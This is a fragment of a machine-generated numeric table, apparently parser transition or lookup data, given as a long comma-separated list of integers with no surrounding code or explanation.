,2215936,2215936,2445312,2215936,2465792,2473984,2215936,2215936,2215936,2215936,2215936,2215936,2171166,2171166,2171166,2171166,2171166,0,0,0,2171166,2171166,2171166,2171166,2171166,2171166,2171019,2171019,2494603,2171019,2171019,2215936,2215936,2215936,3215360,0,0,0,0,0,0,0,0,0,0,0,0,0,2379776,2170880,2170880,2170880,2170880,2985984,2170880,2994176,2170880,2170880,3016168,2170880,3059712,3076096,3088384,2170880,2170880,2170880,2170880,2170880,2170880,0,53264,0,18,18,124,124,0,128,128,2170880,2170880,2170880,3215360,0,2170880,2170880,2170880,2170880,2170880,2170880,2170880,2170880,2486272,2170880,2170880,2506752,2170880,2170880,2170880,2535424,2539520,2170880,2170880,2588672,2170880,2170880,2170880,2170880,2170880,2170880,2170880,2170880,2170880,2170880,2920448,2170880,2170880,2170880,2990080,2170880,2170880,2170880,2170880,3051520,2170880,2170880,2170880,2170880,2170880,2170880,3170304,0,2387968,2392064,2170880,2170880,2433024,2170880,2170880,2170880,3170304,2215936,2215936,2215936,2215936,2215936,2215936,2215936,2215936,2486272,2215936,2215936,2506752,2215936,2215936,2215936,2535424,2539520,2215936,2215936,2588672,2215936,2215936,2215936,2215936,2215936,2215936,2215936,2215936,0,0,0,0,0,0,2174976,136,0,2215936,2215936,2920448,2215936,2215936,2215936,2990080,2215936,2215936,2215936,2215936,3051520,2215936,2215936,2215936,2215936,2215936,2215936,2215936,3108864,2215936,2215936,2215936,2215936,2215936,2215936,2215936,2215936,3026944,2215936,2215936,3063808,2215936,2215936,3112960,2215936,2215936,2215936,3170304,0,0,0,0,0,0,2170880,2170880,2170880,2170880,2170880,2170880,2170880,2170880,2170880,2453504,2457600,2170880,2170880,2170880,2486272,2170880,2170880,2506752,2170880,2170880,2170880,2537049,2539520,2170880,2170880,2588672,2170880,2170880,2170880,1508,2170880,2170880,2170880,1512,2170880,2920448,2170880,2170880,2170880,2990080,2170880,2170880,2170880,2461696,2170880,2170880,2170880,2510848,2170880,2170880,2170880,2170880,2580480,2170880,2605056,2637824,2170880,2170880,18,0,0,0,0,0,0,0,0,2220032,0,0,0,0,0,0,0,2170880,2170880,2170880,2170880,2686976,2748416,2170880,2170880,2170880,2924544,2170880,2170880,2170880,2170880,2170880,2170880,2170880,3121152,2170880,2170880,3145728,3158016,3166208,2170880,2420736,2428928,2170880,2478080,2170880,2170880,2170880,2170880,0,0,2170880,2170880,2170880,2170880,2646016,2670592,0,0,3145728,3158016,3166208,2387968,2392064,2215936,2215936,2433024,2215936,2461696,2215936,2215936,2215936,2510848,2215936,2215936,0,0,0,0,0,0,2179072,0,0,0,0,0,0,2170880,2215936,2215936,2580480,2215936,2605056,2637824,2215936,2215936,2686976,2748416,2215936,2215936,2215936,2924544,2215936,2215936,0,0,0,0,0,0,2179072,0,0,0,0,0,286,2170880,2215936,2215936,2215936,2215936,2215936,3121152,2215936,2215936,3145728,3158016,3166208,2387968,2392064,2170880,2170880,2433024,2170880,2461696,2170880,2170880,2170880,2510848,2170880,2170880,1625,2170880,2170880,2580480,2170880,2605056,2637824,2170880,647,2170880,2170880,2170880,2400256,2170880,2170880,2170880,2170880,2170880,2170880,2170880,2170880,2170880,2170880,2576384,2170880,2170880,2170880,2170880,2170880,2609152,2170880,2170880,2686976,0,0,2748416,2170880,2170880,0,2170880,2924544,2170880,2170880,2170880,2170880,2170880,2170880,0,53264,0,18,18,24,0,0,28,28,2170880,3141632,2215936,2420736,2428928,2215936,2478080,2215936,2215936,2215936,2215936,2215936,2215936,2215936,2215936,2646016,2670592,2752512,2756608,2846720,2961408,2215936,2998272,2215936,3010560,2215936,2215936,2215936,3141632,2170880,2420736,2428928,2752512,2756608,0,2846720,2961408,2170880,2998272,2170880,3010560,2170880,2170880,2170880,3141632,2170880,2170880,2490368,2215936,2490368,2215936,2215936,2215936,2547712,2555904,2215936,2215936,2215936,2215936,2215936,2215936,2215936,2215936,2215936,0,0,0,0,0,0,2174976,245760,0,3129344,2170880,2170880,2490368,2170880,2170880,2170880,0,0,2547712,2555904,2170880,2170880,2170880,0,0,0,0,0,0,0,0,0,2220032,0,0,45056,0,2584576,2215936,2215936,2215936,2215936,2215936,2215936,2215936,2170880,2170880,2170880,2170880,0,0,0,2170880,2170880,2158592,0,0,0,0,0,0,0,0,2220032,0,0,0,0,0,0,0,0,1482,97,97,97,97,97,97,97,1354,97,97,97,97,97,97,97,97,1148,97,97,97,97,97,97,97,2584576,2170880,2170880,1512,0,2170880,2170880,2170880,2170880,2170880,2170880,2441216,2170880,2527232,2170880,2600960,2170880,2850816,2170880,2170880,2170880,3022848,2215936,2441216,2215936,2527232,2215936,2600960,2215936,2850816,2215936,2215936,0,0,0,0,0,0,2179072,0,0,0,0,0,287,2170880,2215936,3022848,2170880,2441216,2170880,2527232,0,0,2170880,2600960,2170880,0,2850816,2170880,2170880,2170880,2170880,2170880,2523136,2170880,2170880,2170880,2170880,2170880,2170880,2170880,2596864,2170880,2621440,2170880,2170880,2641920,2170880,2170880,2170880,3022848,2170880,2519040,2170880,2170880,2170880,2170880,2170880,2215936,2519040,2215936,2215936,2215936,2215936,2215936,2170880,2170880,2170880,2453504,2457600,2170880,2170880,2170880,2170880,2170880,2170880,2514944,2170880,2170880,2170880,2170880,2170880,2170880,2170880,2170880,2592768,2170880,2170880,2519040,0,2024,2170880,2170880,0,2170880,2170880,2170880,2396160,2170880,2170880,2170880,2170880,3018752,2396160,2215936,2215936,2215936,2215936,3018752,2396160,0,2024,2170880,2170880,2170880,2170880,3018752,2170880,2650112,2965504,2170880,2215936,2650112,2965504,2215936,0,0,2170880,2650112,2965504,2170880,2551808,2170880,2551808,2215936,0,0,0,0,37,110630,0,0,0,114730,106539,41098,45,45,141,45,45,67,67,67,67,67,224,67,67,238,67,67,67,67,67,67,67,1288,67,67,67,67,67,67,67,67,67,469,67,67,67,67,67,67,0,2551808,2170880,2170880,2215936,0,2170880,2170880,2215936,0,2170880,2170880,2215936,0,2170880,2977792,2977792,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,53264,18,49172,57366,24,8192,29,102432,127011,110630,114730,106539,127011,127011,127011,53264,18,18,49172,0,0,0,24,24,24,0,28,28,28,28,102432,127,0,0,0,0,0,0,0,0,0,0,140,2170880,2170880,2170880,2416640,0,0,0,0,2220032,110630,0,0,0,114730,106539,136,2170880,2170880,2170880,2170880,2170880,2170880,0,53264,0,4256099,4256099,24,24,0,28,28,2170880,2461696,2170880,2170880,2170880,2510848,2170880,2170880,0,2170880,2170880,2580480,2170880,2605056,2637824,2170880,2170880,2170880,2547712,2555904,2170880,2170880,2170880,2170880,2170880,2170880,2170880,2170880,2170880,3129344,2215936,2215936,543,543,545,545,0,0,2179072,0,550,551,551,0,287,2171166,2171166,18,0,0,0,0,0,0,0,0,2220032,0,0,645,0,0,0,0,37,110630,0,0,0,114730,106539,41098,45,45,45,149,2584576,2170880,2170880,0,0,2170880,2170880,2170880,2170880,2170880,2170880,2441216,2170880,2527232,2170880,2600960,2519040,0,0,2170880,2170880,0,2170880,2170880,2170880,2396160,2170880,2170880,2170880,2170880,3018752,2396160,2215936,2215936,2215936,2215936,3018752,2396160,0,0,2170880,2170880,2170880,2170880,3018752,2170880,2650112,2965504,53264,18,49172,57366,24,155648,28,102432,155648,155687,114730,106539,0,0,155648,53264,18,18,49172,0,57366,0,24,24,24,0,28,28,28,28,102432,0,0,0,0,2220032,0,94208,0,0,114730,106539,0,2170880,2170880,2170880,2170880,2170880,2170880,0,53264,208896,18,278528,24,24,0,28,28,53264,18,159765,57366,24,8192,28,102432,0,110630,114730,106539,0,0,0,53264,18,18,49172,0,57366,0,24,24,24,0,28,139394,28,28,102432,131,0,0,0,2220032,110630,0,0,0,114730,106539,0,2170880,2170880,2170880,2170880,2170880,2170880,32768,53264,0,18,18,24,24,0,28,28,0,546,0,0,2183168,0,0,552,832,2170880,2170880,2170880,2400256,2170880,2170880,2170880,2170880,2170880,2609152,2170880,2170880,2170880,2170880,2170880,2170880,2654208,2170880,2170880,2170880,2170880,2170880,2170880,2170880,2170880,2170880,2170880,2215936,2215936,2215936,2215936,2215936,2215936,3198976,2215936,0,1084,0,1088,0,1092,0,0,0,0,0,41606,0,0,0,0,45,45,45,45,45,937,0,0,0,0,2220032,110630,0,0,0,114730,106539,0,2170880,2170880,2170880,2170880,2170880,2170880,2170880,2170880,3198976,2170880,0,0,644,0,0,0,2215936,3117056,2215936,2215936,2215936,2215936,2215936,2215936,2215936,2215936,2215936,2215936,2215936,2215936,0,826,0,828,0,0,2183168,0,0,830,0,2170880,2170880,2170880,2400256,2170880,2170880,2170880,2170880,2592768,2170880,2170880,2170880,2170880,2633728,2170880,2170880,2170880,2170880,2170880,2170880,2711552,2170880,2170880,2170880,2170880,2170880,2760704,53264,18,49172,57366,24,8192,28,172066,172032,110630,172066,106539,0,0,172032,53264,18,18,49172,0,57366,0,24,24,24,16384,28,28,28,28,102432,0,98304,0,0,2220032,110630,0,0,0,0,106539,0,2170880,2170880,2170880,2170880,2170880,2170880,2170880,2170880,3198976,2170880,0,0,45056,0,0,0,53264,18,49172,57366,25,8192,30,102432,0,110630,114730,106539,0,0,176219,53264,18,18,49172,0,57366,0,124,124,124,0,128,128,128,128,102432,128,0,0,0,0,0,0,0,0,0,0,140,2170880,2170880,2170880,2416640,0,546,0,0,2183168,0,65536,552,0,2170880,2170880,2170880,2400256,2170880,2170880,2170880,2170880,2646016,2670592,2752512,2756608,2846720,2961408,2170880,2998272,2170880,3010560,2170880,2170880,2215936,2215936,2215936,2215936,2215936,2215936,3198976,2215936,0,0,0,0,0,0,65536,0,0,0,0,37,110630,0,0,0,114730,106539,41098,45,45,143,45,45,67,67,67,67,67,227,67,67,67,67,67,67,67,67,67,1824,67,1826,67,67,67,67,17,18,49172,57366,24,8192,28,102432,0,110630,114730,106539,0,0,32768,120,121,18,18,49172,0,57366,0,24,24,24,0,28,28,28,28,102432,67,67,37139,37139,24853,24853,0,0,2179072,548,0,65820,65820,0,287,97,0,0,97,97,0,97,97,97,45,45,45,45,2033,45,67,67,67,67,0,0,97,97,97,97,45,45,67,67,0,369,0,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,978,0,546,70179,0,2183168,0,0,552,0,97,97,97,97,97,97,97,45,45,45,45,45,45,45,45,45,45,67,67,67,67,67,1013,67,67,67,67,67,67,67,67,67,67,473,67,67,67,67,483,67,67,1025,67,67,67,67,67,67,67,67,67,67,67,67,67,97,97,97,97,97,0,0,97,97,97,97,1119,97,97,97,97,97,97,97,97,97,97,97,97,1359,97,97,97,67,67,1584,67,67,67,67,67,67,67,67,67,67,67,67,67,497,67,67,1659,45,45,45,45,45,45,45,45,45,1667,45,45,45,45,45,169,45,45,45,45,45,45,45,45,45,45,45,1668,45,45,45,45,67,67,1694,67,67,67,67,67,67,67,67,67,67,67,67,67,774,67,67,1713,97,97,97,97,97,97,97,0,97,97,1723,97,97,97,97,0,45,45,45,45,45,45,1538,45,45,45,45,45,1559,45,45,1561,45,45,45,45,45,45,45,687,45,45,45,45,45,45,45,45,448,45,45,45,45,45,45,67,67,67,67,1771,1772,67,67,67,67,67,67,67,67,97,97,97,97,0,0,0,97,67,67,67,67,67,1821,67,67,67,67,67,67,1827,67,67,67,0,0,0,0,0,0,97,97,1614,97,97,97,97,97,603,97,97,605,97,97,608,97,97,97,97,0,1532,45,45,45,45,45,45,45,45,45,45,450,45,45,45,45,67,67,97,97,97,97,97,97,0,0,1839,97,97,97,97,0,0,97,97,97,97,97,45,45,45,45,45,45,45,67,67,67,67,67,67,67,97,1883,97,1885,97,0,1888,0,97,97,0,97,97,1848,97,97,97,97,1852,45,45,45,45,45,45,45,384,391,45,45,45,45,45,45,45,385,45,45,45,45,45,45,45,45,1237,45,45,45,45,45,45,67,0,97,97,97,97,0,0,0,97,97,97,97,97,97,45,45,45,45,45,45,45,1951,45,45,45,45,45,45,45,45,67,67,67,67,1963,97,2023,0,97,97,0,97,97,97,45,45,45,45,45,45,67,67,1994,67,1995,67,67,67,67,67,67,97,0,0,0,0,0,0,0,0,0,0,0,0,0,0,97,97,97,0,0,0,0,2220032,110630,0,0,0,114730,106539,137,2170880,2170880,2170880,2170880,2170880,2170880,2170880,2793472,2805760,2170880,2830336,2170880,2170880,2170880,2170880,2170880,2170880,2170880,2170880,2170880,2170880,2170880,2170880,3031040,2170880,3055616,2170880,2170880,67,67,37139,37139,24853,24853,0,0,281,549,0,65820,65820,0,287,97,0,0,97,97,0,97,97,97,45,45,2031,2032,45,45,67,67,67,67,67,67,67,67,67,67,67,67,1769,67,0,546,70179,549,549,0,0,552,0,97,97,97,97,97,97,97,45,45,45,45,45,45,1858,45,641,0,0,0,0,41606,926,0,0,0,45,45,45,45,45,45,45,45,45,45,45,45,45,45,456,67,0,0,0,1313,0,0,0,1096,1319,0,0,0,0,97,97,97,97,97,97,97,97,1110,97,97,97,97,67,67,67,67,1301,1476,0,0,0,0,1307,1478,0,0,0,0,0,0,0,0,97,97,97,97,1486,97,1487,97,1313,1480,0,0,0,0,1319,0,97,97,97,97,97,97,97,97,97,566,97,97,97,97,97,97,67,67,67,1476,0,1478,0,1480,0,97,97,97,97,97,97,97,45,1853,45,1855,45,45,45,45,53264,18,49172,57366,26,8192,31,102432,0,110630,114730,106539,0,0,225368,53264,18,49172,57366,24,8192,28,102432,0,110630,114730,106539,0,0,32768,53264,18,18,49172,163840,57366,0,24,24,229376,0,28,28,28,229376,102432,0,0,0,0,2220167,110630,0,0,0,114730,106539,0,2171019,2171019,2171019,2171019,2592907,2171019,2171019,2171019,2171019,2633867,2171019,2171019,2171019,2171019,2171019,2171019,2654347,2171019,2171019,2171019,2171019,2171019,2171019,2171019,2171019,2171019,2171019,2171019,3117195,2171019,2171019,2171019,2171019,2240641,0,0,0,0,0,0,0,0,368,0,140,2171019,2171019,2171019,2416779,2424971,2171019,2171019,2171019,2171019,2171019,2171019,2171019,2171019,2171019,2171019,2171019,2171019,2171019,2617483,2171019,2171019,2642059,2171019,2171019,2171019,2699403,2171019,2728075,2171019,2171019,2171019,2171019,2171019,2171019,2171019,3215499,2215936,2215936,2215936,2215936,2215936,2437120,2215936,2215936,2171019,2822283,2171019,2171019,2855051,2171019,2171019,2171019,2912395,2171019,2171019,2171019,2171019,2171019,2171019,2171019,3002507,2171019,2171019,2215936,2215936,2494464,2215936,2215936,2215936,2171166,2171166,2416926,2425118,2171166,2171166,2171166,2171166,2171166,2171166,2171166,2171166,2171166,2171166,2171166,2171166,2171166,2171166,2171166,2171166,2576670,2171166,2617630,2171166,2171166,2171166,2171166,2171166,2171166,2691358,2171166,2707742,2171166,2715934,2171166,2724126,2765086,2171166,2171166,2797854,2171166,2822430,2171166,2171166,2855198,2171166,2171166,2171166,2912542,2171166,2171166,2171166,2171166,2171166,2171166,2171166,2793758,2806046,2171166,2830622,2171166,2171166,2171166,2171166,2171166,2171166,2171166,3109150,2171166,2171166,2171166,2171166,2171166,2171166,2171166,2171166,2171166,2543902,2171166,2171166,2171166,2171166,2171166,2629918,2793611,2805899,2171019,2830475,2171019,2171019,2171019,2171019,2171019,2171019,2171019,2171019,2171019,2171019,2171019,2171019,2171019,2171019,2171019,2171019,0,546,0,0,2183168,0,0,552,0,2171166,2171166,2171166,2400542,2171166,2171166,2171166,0,2171166,2171166,2171166,0,2171166,2920734,2171166,2171166,2171166,2990366,2171166,2171166,2171166,2171166,3117342,2171166,2171166,2171166,2171166,2171166,2171166,2171166,2171166,2171166,2171166,2171166,2171166,0,53264,0,18,18,4329472,2232445,0,2240641,4337664,2711691,2171019,2171019,2171019,2171019,2171019,2760843,2769035,2789515,2814091,2171019,2171019,2171019,2875531,2904203,2171019,2171019,3092619,2171019,2171019,3125387,2171019,2171019,2171019,2171019,2171019,2171019,2171019,2171019,2171019,3199115,2171019,2215936,2215936,2215936,2215936,2215936,2215936,2215936,2215936,2215936,2453504,2457600,2215936,2215936,2215936,2215936,2215936,2215936,2793472,2805760,2215936,2830336,2215936,2215936,2215936,2215936,2215936,2215936,2170880,2170880,2170880,2170880,2170880,0,0,0,2170880,2170880,2170880,2170880,2170880,2170880,2170880,2170880,2494464,2170880,2170880,2171166,2171166,2634014,2171166,2171166,2171166,2171166,2171166,2171166,2711838,2171166,2171166,2171166,2171166,2171166,2760990,2769182,2789662,2814238,2171166,2171166,2171166,2875678,2904350,2171166,2171166,2171166,2171166,2171166,2171166,2171166,2171166,3199262,2171166,0,0,0,0,0,0,0,0,0,2379915,2171019,2171019,2171019,2171019,2171019,2171019,2171019,2445451,2171019,2465931,2474123,2171019,2171019,3113099,2171019,2171019,3133579,2171019,2171019,2171019,3162251,2171019,2171019,3182731,3186827,2171019,2379776,2879627,2171019,2916491,2171019,2171019,2171019,2171019,2171019,2171019,2171019,2171019,2171019,3027083,2171019,2171019,3063947,2699550,2171166,2728222,2171166,2171166,2171166,2171166,2171166,2171166,2171166,2879774,2171166,2916638,2171166,2171166,2171166,2171166,2171166,2609438,2171166,2171166,2171166,2171166,2171166,2171166,2654494,2171166,2171166,2171166,2171166,2171166,2445598,2171166,2466078,2474270,2171166,2171166,2171166,2171166,2171166,2171166,2523422,2171019,2437259,2171019,2171019,2171019,2171019,2171019,2171019,2171019,2171019,2171019,2171019,2171019,2543755,2171019,2171019,2171019,2584715,2171019,2171019,2171019,2171019,2171019,2171019,2171019,2215936,2215936,2215936,2215936,2215936,2215936,2215936,2215936,2215936,2908299,2171019,2171019,2936971,2171019,2171019,2986123,2171019,2994315,2171019,2171019,3014795,2171019,3059851,3076235,3088523,2171166,2171166,2986270,2171166,2994462,2171166,2171166,3014942,2171166,3059998,3076382,3088670,2171166,2171166,2171166,2171166,2171166,2171166,3027230,2171166,2171166,3064094,2171166,2171166,3113246,2171166,2171166,3133726,2506891,2171019,2171019,2171019,2535563,2539659,2171019,2171019,2588811,2171019,2171019,2171019,2171019,2171019,2171019,2171019,2691211,2171019,2707595,2171019,2715787,2171019,2723979,2764939,2171019,2171019,2797707,2215936,2215936,3170304,0,0,0,0,0,0,2171166,2171166,2171166,2171166,2171166,2171166,2171166,2171166,2171166,2453790,2457886,2171166,2171166,2171166,2486558,2171166,2171166,2507038,2171166,2171166,2171166,2535710,2539806,2171166,2171166,2588958,2171166,2171166,2171166,2171166,2515230,2171166,2171166,2171166,2171166,2171166,2171166,2171166,2171166,2593054,2171166,2171166,2171166,2171166,3051806,2171166,2171166,2171166,2171166,2171166,2171166,3170590,0,2388107,2392203,2171019,2171019,2433163,2171019,2461835,2171019,2171019,2171019,2510987,2171019,2171019,2171019,2171019,2580619,2171019,2605195,2637963,2171019,2171019,2171019,2920587,2171019,2171019,2171019,2990219,2171019,2171019,2171019,2171019,3051659,2171019,2171019,2171019,2453643,2457739,2171019,2171019,2171019,2171019,2171019,2171019,2515083,2171019,2171019,2171019,2171019,2646155,2670731,2752651,2756747,2846859,2961547,2171019,2998411,2171019,3010699,2171019,2171019,2687115,2748555,2171019,2171019,2171019,2924683,2171019,2171019,2171019,2171019,2171019,2171019,2171019,3121291,2171019,2171019,2171019,3170443,2215936,2215936,2215936,2215936,2215936,2215936,2215936,2215936,2486272,2215936,2215936,2506752,3145867,3158155,3166347,2387968,2392064,2215936,2215936,2433024,2215936,2461696,2215936,2215936,2215936,2510848,2215936,2215936,0,0,0,0,0,0,2179072,0,0,0,0,0,553,2170880,2215936,2215936,2215936,2215936,2215936,3121152,2215936,2215936,3145728,3158016,3166208,2388254,2392350,2171166,2171166,2433310,2171166,2461982,2171166,2171166,2171166,2511134,2171166,2171166,0,2171166,2171166,2580766,2171166,2605342,2638110,2171166,2171166,2171166,2171166,3031326,2171166,3055902,2171166,2171166,2171166,2171166,3092766,2171166,2171166,3125534,2171166,2171166,2171166,3162398,2171166,2171166,3182878,3186974,2171166,0,0,0,2171019,2171019,2171019,2171019,3109003,2171019,2171019,2171019,2171019,2171019,2171019,2171019,2171019,2171019,2171019,2215936,2215936,2215936,2400256,2215936,2215936,2215936,2215936,2171166,2687262,0,0,2748702,2171166,2171166,0,2171166,2924830,2171166,2171166,2171166,2171166,2171166,2171166,2171166,2597150,2171166,2621726,2171166,2171166,2642206,2171166,2171166,2171166,2171166,3121438,2171166,2171166,3146014,3158302,3166494,2171019,2420875,2429067,2171019,2478219,2171019,2171019,2171019,2171019,2547851,2556043,2171019,2171019,2171019,2171019,2171019,2171019,2171019,2171019,2171019,3129483,2215936,2171019,3141771,2215936,2420736,2428928,2215936,2478080,2215936,2215936,2215936,2215936,2215936,2215936,2215936,2215936,2646016,2670592,2752512,2756608,2846720,2961408,2215936,2998272,2215936,3010560,2215936,2215936,2215936,3141632,2171166,2421022,2429214,2171166,2478366,2171166,2171166,2171166,2171166,0,0,2171166,2171166,2171166,2171166,2646302,2670878,0,0,0,0,37,110630,0,0,0,114730,106539,0,45,45,45,45,45,1405,1406,45,45,45,45,1409,45,45,45,45,45,1415,45,45,45,45,45,45,45,45,45,45,1238,45,45,45,45,67,2752798,2756894,0,2847006,2961694,2171166,2998558,2171166,3010846,2171166,2171166,2171166,3141918,2171019,2171019,2490507,3129344,2171166,2171166,2490654,2171166,2171166,2171166,0,0,2547998,2556190,2171166,2171166,2171166,0,0,0,0,37,110630,0,0,0,114730,106539,41098,45,45,45,45,167,45,45,45,45,185,187,45,45,198,45,45,0,2171166,2171166,2171166,2171166,2171166,2171166,3129630,2171019,2171019,2171019,2171019,2171019,2171019,2171019,2171019,2576523,2171019,2171019,2171019,2171019,2171019,2609291,2171019,2215936,2215936,2215936,2215936,2215936,2215936,3002368,2215936,2215936,2171166,2171166,2494750,2171166,2171166,0,0,0,0,37,110630,0,0,0,114730,106539,41098,45,45,45,147,2584576,2215936,2215936,2215936,2215936,2215936,2215936,2215936,2171166,2171166,2171166,2171166,0,0,0,2171166,2171166,2171166,2171166,0,0,0,2171166,2171166,2171166,3002654,2171166,2171166,2171019,2171019,2215936,2215936,2215936,2215936,2215936,2215936,2215936,2215936,2215936,2215936,2215936,2215936,2215936,2215936,0,0,0,0,0,0,2175257,0,0,2584862,2171166,2171166,0,0,2171166,2171166,2171166,2171166,2171166,2171019,2441355,2171019,2527371,2171019,2601099,2171019,2850955,2171019,2171019,2171019,3022987,2215936,2441216,2215936,2527232,2215936,2600960,2215936,2850816,2215936,2215936,0,0,0,0,0,0,2179072,0,0,0,0,69632,287,2170880,2215936,3022848,2171166,2441502,2171166,2527518,0,0,2171166,2601246,2171166,0,2851102,2171166,2171166,2171166,2171166,2720030,2744606,2171166,2171166,2171166,2834718,2838814,2171166,2908446,2171166,2171166,2937118,3023134,2171019,2519179,2171019,2171019,2171019,2171019,2171019,2215936,2519040,2215936,2215936,2215936,2215936,2215936,2171166,2171166,2171166,3215646,0,2171019,2171019,2171019,2171019,2171019,2171019,2171019,2171019,2486411,2171019,2171019,2171019,2629771,2171019,2171019,2171019,2171019,2719883,2744459,2171019,2171019,2171019,2834571,2838667,2171019,2519326,0,0,2171166,2171166,0,2171166,2171166,2171166,2396299,2171019,2171019,2171019,2171019,3018891,2396160,2215936,2215936,2215936,2215936,3018752,2396446,0,0,2171166,2171166,2171166,2171166,3019038,2171019,2650251,2965643,2171019,2215936,2650112,2965504,2215936,0,0,2171166,2650398,2965790,2171166,2551947,2171019,2551808,2215936,0,0,0,0,37,110630,0,0,0,114730,106539,41098,45,45,144,45,45,67,67,67,67,67,228,67,67,67,67,67,67,67,67,67,1929,97,97,97,97,0,0,0,2552094,2171166,2171019,2215936,0,2171166,2171019,2215936,0,2171166,2171019,2215936,0,2171166,2977931,2977792,2978078,0,0,0,0,0,0,0,0,0,0,0,0,0,0,97,1321,97,131072,0,0,0,0,0,0,0,0,0,2170880,2170880,2170880,2170880,2170880,2170880,0,53264,0,18,18,24,24,0,28,28,0,140,0,2379776,2170880,2170880,2170880,2170880,2170880,2170880,2170880,2445312,2170880,2465792,2473984,2170880,2170880,2170880,2584576,2170880,2170880,2170880,2170880,2170880,2170880,2170880,2215936,2215936,2215936,2215936,2215936,2215936,2215936,2215936,2215936,2170880,2170880,2170880,3162112,2170880,2170880,3182592,3186688,2170880,0,140,0,2170880,2170880,2170880,2170880,2170880,2170880,2170880,3002368,2170880,2170880,2215936,2215936,2494464,2215936,2215936,2215936,2215936,2215936,2215936,3215360,544,0,0,0,544,0,546,0,0,0,546,0,0,2183168,0,0,552,0,2170880,2170880,2170880,2400256,2170880,2170880,2170880,0,2170880,2170880,2170880,0,2170880,2920448,2170880,2170880,2170880,2990080,2170880,2170880,552,0,0,0,552,0,287,0,2170880,2170880,2170880,2170880,2170880,2437120,2170880,2170880,18,0,0,0,0,0,0,0,0,2220032,0,0,644,0,2215936,2215936,3170304,544,0,546,0,552,0,2170880,2170880,2170880,2170880,2170880,2170880,2170880,2170880,3198976,2170880,0,0,0,140,0,0,53264,18,49172,57366,24,8192,28,102432,249856,110630,114730,106539,0,0,32768,53264,18,49172,57366,24,8192,28,102432,0,110630,114730,106539,0,0,151640,53264,18,18,49172,0,57366,0,24,24,24,0,28,28,28,28,0,0,0,0,0,0,0,0,0,0,0,2170880,2170880,2170880,2416640,53264,18,49172,57366,24,8192,28,102432,253952,110630,114730,106539,0,0,32856,53264,18,49172,57366,24,8192,28,102432,0,110630,114730,106539,0,0,192512,53264,18,18,49172,0,57366,0,2232445,184320,2232445,0,2240641,2240641,184320,2240641,102432,0,0,0,221184,2220032,110630,0,0,0,114730,106539,0,2170880,2170880,2170880,2170880,2170880,2170880,2170880,3108864,2170880,2170880,2170880,2170880,2170880,2170880,2170880,2170880,2170880,2170880,2215936,0,0,0,45056,0,0,0,0,0,0,2170880,2170880,2170880,2170880,2170880,2170880,0,53264,0,18,18,24,24,0,127,127,53264,18,49172,258071,24,8192,28,102432,0,110630,114730,106539,0,0,32768,53264,18,49172,57366,24,8192,28,102432,0,110630,114730,106539,0,0,204800,53264,18,49172,57366,24,27,28,102432,0,110630,114730,106539,0,0,0,53264,18,49172,57366,24,8192,28,33,0,33,33,33,0,0,0,53264,18,18,49172,0,57366,0,24,24,24,16384,28,28,28,28,0,0,0,0,0,0,0,0,0,0,139,2170880,2170880,2170880,2416640,67,67,37139,37139,24853,24853,0,70179,0,0,0,65820,65820,369,287,97,0,0,97,97,0,97,97,97,45,2030,45,45,45,45,67,1573,67,67,67,67,67,67,67,67,67,67,67,1699,67,67,67,67,25403,546,70179,0,0,66365,66365,552,0,97,97,97,97,97,97,97,97,1355,97,97,97,1358,97,97,97,641,0,0,0,925,41606,0,0,0,0,45,45,45,45,45,45,45,1187,45,45,45,45,45,0,1480,0,0,0,0,1319,0,97,97,97,97,97,97,97,97,97,592,97,97,97,97,97,97,97,97,97,97,1531,45,45,45,45,45,45,45,45,45,45,45,45,1680,45,45,45,641,0,924,0,925,41606,0,0,0,0,45,45,45,45,45,45,1186,45,45,45,45,45,45,67,67,37139,37139,24853,24853,0,70179,282,0,0,65820,65820,369,287,97,0,0,97,97,0,97,2028,97,45,45,45,45,45,45,67,67,67,67,67,67,67,67,67,67,1767,67,67,67,0,0,0,0,0,0,1612,97,97,97,97,97,97,0,1785,97,97,97,97,97,97,0,0,97,97,97,97,1790,97,0,0,2170880,2170880,3051520,2170880,2170880,2170880,2170880,2170880,2170880,3170304,241664,2387968,2392064,2170880,2170880,2433024,53264,19,49172,57366,24,8192,28,102432,0,110630,114730,106539,0,0,274432,53264,18,49172,57366,24,8192,28,102432,0,110630,114730,106539,0,0,270336,53264,18,49172,57366,24,8192,28,102432,0,110630,114730,106539,0,0,1134711,53264,18,49172,57366,24,8192,28,102432,0,1126440,1126440,1126440,0,0,1126400,53264,18,49172,57366,24,8192,28,102432,36,110630,114730,106539,0,0,217088,53264,18,49172,57366,24,8192,28,102432,0,110630,114730,106539,0,0,94,53264,18,49172,57366,24,8192,28,102432,0,110630,114730,106539,0,0,96,53264,18,49172,57366,24,8192,28,102432,0,110630,114730,106539,0,0,24666,53264,18,18,49172,0,57366,0,24,24,24,126,28,28,28,28,102432,53264,122,123,49172,0,57366,0,24,24,24,0,28,28,28,28,102432,2170880,2170880,4256099,0,0,0,0,0,0,0,0,2220032,0,0,0,0,0,0,0,0,1319,0,0,0,0,97,97,97,97,97,97,97,1109,97,97,97,97,1113,132,0,0,0,37,110630,0,0,0,114730,106539,41098,45,45,45,146,150,45,45,45,45,45,175,45,180,45,186,45,189,45,45,203,67,256,67,67,270,67,67,0,37139,24853,0,0,0,0,41098,65820,97,97,97,293,297,97,97,97,97,97,322,97,327,97,333,97,0,0,97,2026,0,2027,97,97,45,45,45,45,45,45,67,67,67,1685,67,67,67,67,67,67,67,1690,67,336,97,97,350,97,97,0,53264,0,18,18,24,24,356,28,28,0,0,0,0,0,0,0,0,0,0,140,2170880,2170880,2170880,2416640,2424832,2170880,2170880,2170880,2170880,2170880,2170880,2170880,2170880,2170880,2170880,2170880,2170880,2170880,2617344,2170880,45,439,45,45,45,45,45,45,45,45,45,45,45,45,45,67,67,67,67,67,67,67,67,67,67,525,67,67,67,67,67,67,67,67,67,67,67,0,0,0,0,0,0,0,0,0,0,0,0,97,97,97,97,622,97,97,97,97,97,97,97,97,97,97,97,97,1524,97,97,1527,369,648,45,45,45,45,45,45,45,45,45,659,45,45,45,45,408,45,45,45,45,45,45,45,45,45,45,45,1239,45,45,45,67,729,45,45,45,45,45,45,45,67,67,67,67,67,67,67,67,67,67,67,67,67,67,67,67,762,67,746,67,67,67,67,67,67,67,67,67,759,67,67,67,67,0,0,0,1477,0,1086,0,0,0,1479,0,1090,67,67,796,67,67,799,67,67,67,67,67,67,67,67,67,67,67,67,1291,67,67,67,811,67,67,67,67,67,816,67,67,67,67,67,67,67,37689,544,25403,546,70179,0,0,66365,66365,552,833,97,97,97,97,97,97,97,